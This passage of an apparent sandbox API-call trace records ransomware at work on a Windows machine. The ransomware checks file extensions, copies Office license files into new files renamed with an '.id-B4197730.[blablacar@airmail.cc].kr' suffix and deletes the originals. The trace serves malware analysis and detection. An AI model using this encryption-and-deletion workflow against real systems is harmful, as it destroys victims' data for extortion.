[0206.384] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.384] lstrlenW (lpString=".docx") returned 5 [0206.385] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.385] lstrlenW (lpString=".pdf") returned 4 [0206.385] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.385] lstrlenW (lpString=".xls") returned 4 [0206.385] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.385] lstrlenW (lpString=".xlsx") returned 5 [0206.385] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.385] lstrlenW (lpString=".ppt") returned 4 [0206.385] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92 [0206.385] lstrlenW (lpString=".zip") returned 4 [0206.385] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.385] lstrlenW (lpString=".rar") returned 4 [0206.385] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.385] lstrlenW (lpString=".bz2") returned 4 [0206.385] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.385] lstrlenW (lpString=".7z") returned 3 [0206.385] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92 [0206.385] lstrlenW (lpString=".dbf") returned 4 [0206.385] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92 [0206.385] lstrlenW (lpString=".1cd") returned 4 [0206.385] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92 [0206.385] lstrlenW (lpString=".jpg") returned 4 [0206.385] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.385] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0206.385] lstrlenW (lpString="O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 45 [0206.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0206.386] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11671) returned 1 [0206.386] CloseHandle (hObject=0x3ec) returned 1 [0206.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ul-oob.xrm-ms")) returned 0x220 [0206.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0206.387] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.387] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0206.388] GetLastError () returned 0x0 [0206.388] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d97, lpOverlapped=0x0) returned 1 [0206.580] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2da0, lpOverlapped=0x0) returned 1 [0206.582] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.582] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x12e, lpOverlapped=0x0) returned 1 [0206.582] SetEndOfFile (hFile=0x450) returned 1 [0206.582] CloseHandle (hObject=0x450) returned 1 [0206.582] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.582] SetEndOfFile (hFile=0x3ec) returned 1 [0206.586] CloseHandle (hObject=0x3ec) returned 1 [0206.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.587] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ul-oob.xrm-ms")) returned 1 [0206.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95 [0206.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95 [0206.588] lstrlenW (lpString=".doc") returned 4 [0206.588] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.588] lstrlenW (lpString=".docx") returned 5 [0206.588] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.588] lstrlenW (lpString=".pdf") returned 4 [0206.588] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.588] lstrlenW (lpString=".xls") returned 4 [0206.588] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.588] lstrlenW (lpString=".xlsx") returned 5 [0206.589] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.589] lstrlenW (lpString=".ppt") returned 4 [0206.589] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95 [0206.589] lstrlenW (lpString=".zip") returned 4 [0206.589] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.589] lstrlenW (lpString=".rar") returned 4 [0206.589] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.589] lstrlenW (lpString=".bz2") returned 4 [0206.589] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.589] lstrlenW (lpString=".7z") returned 3 [0206.589] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95 [0206.589] lstrlenW (lpString=".dbf") returned 4 [0206.589] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95 [0206.589] lstrlenW (lpString=".1cd") returned 4 [0206.589] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95 [0206.589] lstrlenW (lpString=".jpg") returned 4 [0206.589] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95 [0206.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95 [0206.589] lstrlenW (lpString=".doc") returned 4 [0206.589] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.589] lstrlenW (lpString=".docx") returned 5 [0206.589] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.589] lstrlenW (lpString=".pdf") returned 4 [0206.589] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.589] lstrlenW (lpString=".xls") returned 4 [0206.589] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.589] lstrlenW (lpString=".xlsx") returned 5 [0206.589] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.590] lstrlenW (lpString=".ppt") returned 4 [0206.590] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95 [0206.590] lstrlenW (lpString=".zip") returned 4 [0206.590] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.590] lstrlenW (lpString=".rar") returned 4 [0206.590] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.590] lstrlenW (lpString=".bz2") returned 4 [0206.590] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.590] lstrlenW (lpString=".7z") returned 3 [0206.590] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95 [0206.590] lstrlenW (lpString=".dbf") returned 4 [0206.590] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95 [0206.590] lstrlenW (lpString=".1cd") returned 4 [0206.590] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95 [0206.590] lstrlenW (lpString=".jpg") returned 4 [0206.590] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.590] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0206.590] lstrlenW (lpString="O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 41 [0206.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0206.591] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11215) returned 1 [0206.591] CloseHandle (hObject=0x3ec) returned 1 [0206.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-pl.xrm-ms")) returned 0x220 [0206.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0206.592] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.592] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0206.593] GetLastError () returned 0x0 [0206.593] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2bcf, lpOverlapped=0x0) returned 1 [0206.595] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2bd0, lpOverlapped=0x0) returned 1 [0206.596] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.596] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x126, lpOverlapped=0x0) returned 1 [0206.596] SetEndOfFile (hFile=0x450) returned 1 [0206.597] CloseHandle (hObject=0x450) returned 1 [0206.597] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.597] SetEndOfFile (hFile=0x3ec) returned 1 [0206.604] CloseHandle (hObject=0x3ec) returned 1 [0206.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.604] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-pl.xrm-ms")) returned 1 [0206.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91 [0206.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91 [0206.605] lstrlenW (lpString=".doc") returned 4 [0206.605] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.605] lstrlenW (lpString=".docx") returned 5 [0206.605] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.605] lstrlenW (lpString=".pdf") returned 4 [0206.606] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.606] lstrlenW (lpString=".xls") returned 4 [0206.606] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.606] lstrlenW (lpString=".xlsx") returned 5 [0206.606] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.606] lstrlenW (lpString=".ppt") returned 4 [0206.606] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91 [0206.606] lstrlenW (lpString=".zip") returned 4 [0206.606] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.606] lstrlenW (lpString=".rar") returned 4 [0206.606] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.606] lstrlenW (lpString=".bz2") returned 4 [0206.606] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.606] lstrlenW (lpString=".7z") returned 3 [0206.606] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91 [0206.606] lstrlenW (lpString=".dbf") returned 4 [0206.606] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91 [0206.606] lstrlenW (lpString=".1cd") returned 4 [0206.606] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91 [0206.606] lstrlenW (lpString=".jpg") returned 4 [0206.606] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91 [0206.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91 [0206.606] lstrlenW (lpString=".doc") returned 4 [0206.606] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.606] lstrlenW (lpString=".docx") returned 5 [0206.606] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.606] lstrlenW (lpString=".pdf") returned 4 [0206.606] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.607] lstrlenW (lpString=".xls") returned 4 [0206.607] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.607] lstrlenW (lpString=".xlsx") returned 5 [0206.607] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.607] lstrlenW (lpString=".ppt") returned 4 [0206.607] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91 [0206.607] lstrlenW (lpString=".zip") returned 4 [0206.607] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.607] lstrlenW (lpString=".rar") returned 4 [0206.607] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.607] lstrlenW (lpString=".bz2") returned 4 [0206.607] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.607] lstrlenW (lpString=".7z") returned 3 [0206.607] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91 [0206.607] lstrlenW (lpString=".dbf") returned 4 [0206.607] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91 [0206.607] lstrlenW (lpString=".1cd") returned 4 [0206.607] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91 [0206.607] lstrlenW (lpString=".jpg") returned 4 [0206.607] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.607] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0206.607] lstrlenW (lpString="O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 42 [0206.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0206.608] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=27735) returned 1 [0206.608] CloseHandle (hObject=0x3ec) returned 1 [0206.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ppd.xrm-ms")) returned 0x220 [0206.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0206.609] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.609] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0206.610] GetLastError () returned 0x0 [0206.610] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x6c57, lpOverlapped=0x0) returned 1 [0206.613] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x6c60, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x6c60, lpOverlapped=0x0) returned 1 [0206.614] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.614] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x128, lpOverlapped=0x0) returned 1 [0206.614] SetEndOfFile (hFile=0x450) returned 1 [0206.614] CloseHandle (hObject=0x450) returned 1 [0206.614] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.614] SetEndOfFile (hFile=0x3ec) returned 1 [0206.617] CloseHandle (hObject=0x3ec) returned 1 [0206.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ppd.xrm-ms")) returned 1 [0206.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92 [0206.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92 [0206.619] lstrlenW (lpString=".doc") returned 4 [0206.619] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.619] lstrlenW (lpString=".docx") returned 5 [0206.619] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.619] lstrlenW (lpString=".pdf") returned 4 [0206.619] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.619] lstrlenW (lpString=".xls") returned 4 [0206.619] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.619] lstrlenW (lpString=".xlsx") returned 5 [0206.619] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.619] lstrlenW (lpString=".ppt") returned 4 [0206.619] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92 [0206.619] lstrlenW (lpString=".zip") returned 4 [0206.619] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.619] lstrlenW (lpString=".rar") returned 4 [0206.619] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.619] lstrlenW (lpString=".bz2") returned 4 [0206.619] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.619] lstrlenW (lpString=".7z") returned 3 